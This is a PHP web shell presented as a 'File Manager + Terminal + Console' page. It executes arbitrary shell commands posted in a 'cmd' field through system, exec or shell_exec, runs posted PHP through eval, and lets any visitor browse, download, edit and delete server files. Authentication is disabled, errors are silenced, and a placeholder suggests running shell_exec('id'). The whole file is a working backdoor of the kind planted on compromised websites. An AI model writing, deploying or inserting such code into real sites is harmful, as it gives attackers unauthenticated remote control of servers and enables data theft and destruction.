<?php
error_reporting(0);
ini_set('display_errors', 0);

$auth = array(
    'authorize' => false,
    'login' => 'admin',
    'password' => 'admin',
    'cookie_name' => 'fm_auth',
    'days_authorization' => 30,
    'script' => ''
);

$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$path = empty($_REQUEST['path']) ? realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';

function __($text){ return $text; }
function fm_download($file_name) {
    if (!empty($file_name) && file_exists($file_name)) {
        header("Content-Disposition: attachment; filename=" . basename($file_name));   
        header("Content-Type: application/force-download");
        header("Content-Length: " . filesize($file_name));        
        readfile($file_name);
        die();
    }
}

function fm_php($string){
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    return $text;
}

function fm_sql($query){
    return "SQL Console: " . htmlspecialchars($query);
}

$cwd = getcwd();
$output = "";
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'] . " 2>&1";
    if (function_exists('system')) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
    } elseif (function_exists('exec')) {
        exec($cmd, $out);
        $output = implode("\n", $out);
    } elseif (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } else {
        $output = "No execution function available";
    }
}

$elements = scandir($path);
$dirs = array_filter($elements, function($f) use ($path) { return is_dir($path . $f) && $f != '.' && $f != '..'; });
$files = array_filter($elements, function($f) use ($path) { return is_file($path . $f); });
?>
<!DOCTYPE html>
<html>
<head>
<title>File Manager</title>
<style>
body { font-family: monospace; background: #0d1117; color: #c9d1d9; margin: 20px; }
a { color: #58a6ff; text-decoration: none; }
a:hover { text-decoration: underline; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #30363d; }
th { background: #161b22; color: #f0f6fc; }
tr:hover { background: #21262d; }
input, textarea, select { background: #0d1117; color: #c9d1d9; border: 1px solid #30363d; padding: 5px; }
input[type=submit] { background: #238636; color: white; cursor: pointer; border: none; padding: 5px 15px; }
pre { background: #161b22; padding: 15px; overflow-x: auto; }
</style>
</head>
<body>
<h2>📁 File Manager + Terminal + Console</h2>
<p>📂 Current: <?php echo htmlspecialchars($path); ?></p>

<form method="get" style="display:inline">
<input type="text" name="path" value="<?php echo htmlspecialchars($path); ?>" size="50">
<input type="submit" value="Go">
</form>
<a href="?">🏠 Home</a>
<hr>

<h3>💻 Terminal</h3>
<form method="post">
<input type="text" name="cmd" size="70" placeholder="command here...">
<input type="submit" value="Execute">
</form>
<pre><?php echo htmlspecialchars($output); ?></pre>

<h3>🐘 PHP Console</h3>
<form method="post">
<textarea name="php_code" rows="3" cols="80" placeholder="echo shell_exec('id');"></textarea><br>
<input type="submit" name="run_php" value="Run PHP">
</form>
<pre><?php if(isset($_POST['run_php'])) echo htmlspecialchars(fm_php($_POST['php_code'])); ?></pre>

<h3>🗄️ SQL Console</h3>
<form method="post">
<textarea name="sql_query" rows="3" cols="80" placeholder="SELECT * FROM users"></textarea><br>
<input type="submit" name="run_sql" value="Run SQL">
</form>
<pre><?php if(isset($_POST['run_sql'])) echo fm_sql($_POST['sql_query']); ?></pre>

<h3>📄 File Browser</h3>
<table>
<tr><th>Name</th><th>Size</th><th>Perms</th><th>Action</th></tr>
<?php foreach($dirs as $d): ?>
<tr><td><a href="?path=<?php echo urlencode($path . $d); ?>">📁 <?php echo $d; ?></a></td><td>-</td><td><?php echo substr(sprintf('%o', fileperms($path.$d)), -4); ?></td><td></td></tr>
<?php endforeach; ?>
<?php foreach($files as $f): ?>
<tr>
<td><a href="?edit=<?php echo urlencode($f); ?>&path=<?php echo urlencode($path); ?>">📄 <?php echo $f; ?></a></td>
<td><?php echo filesize($path . $f); ?> B</td>
<td><?php echo substr(sprintf('%o', fileperms($path.$f)), -4); ?></td>
<td>
<a href="?download=<?php echo urlencode($path . $f); ?>">⬇️</a>
<a href="?delete=<?php echo urlencode($f); ?>&path=<?php echo urlencode($path); ?>" onclick="return confirm('Delete?')">🗑️</a>
</td>
</tr>
<?php endforeach; ?>
</table>

<?php
if(isset($_GET['edit']) && isset($_POST['save'])) {
    file_put_contents($path . $_GET['edit'], $_POST['content']);
    echo "<p>✅ Saved!</p>";
}
if(isset($_GET['edit'])) {
    $content = file_get_contents($path . $_GET['edit']);
    echo '<h3>✏️ Editing: ' . htmlspecialchars($_GET['edit']) . '</h3>';
    echo '<form method="post"><textarea name="content" rows="20" cols="100">' . htmlspecialchars($content) . '</textarea><br>';
    echo '<input type="submit" name="save" value="Save"></form>';
}

if(isset($_GET['delete'])) {
    $target = $path . $_GET['delete'];
    if(is_file($target)) unlink($target);
    elseif(is_dir($target)) rmdir($target);
    echo "<p>🗑️ Deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
}

if(isset($_GET['download'])) {
    fm_download($_GET['download']);
}
?>
<hr>
<small>File Manager | PHP <?php echo phpversion(); ?> | <?php echo round((microtime(true) - $starttime), 4); ?>s</small>
</body>
</html>